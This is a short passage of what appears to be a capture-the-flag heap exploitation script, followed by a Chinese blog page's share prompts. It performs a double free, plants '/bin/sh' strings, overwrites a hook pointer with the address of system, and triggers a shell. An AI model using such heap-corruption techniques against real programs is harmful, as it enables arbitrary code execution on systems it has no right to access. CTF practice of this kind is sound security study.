# gdb.attach(p)
remove(9)
remove(10)
remove(9)
allocate(0, 0x10, "/bin/sh\x00")
allocate(1, 0x10, "/bin/sh\x00")
allocate(2, 0x10, "/bin/sh\x00")
allocate(3, 0x10, "/bin/sh\x00")
allocate(4, 0x10, "/bin/sh\x00")
allocate(5, 0x10, "/bin/sh\x00")
allocate(6, 0x10, "/bin/sh\x00")
suclog(
"base_addr",
"system_addr",
"hook_addr"
)
allocate(9, 0x10, pg(hook_addr))
# gdb.attach(p)
allocate(10, 0x10, pg(hook_addr))
allocate(11, 0x10, pg(hook_addr))
allocate(12, 0x10, pg(system_addr))
remove(8)
interactive_after_clean()
扫码阅读此文章
点击按钮复制分享信息
点击订阅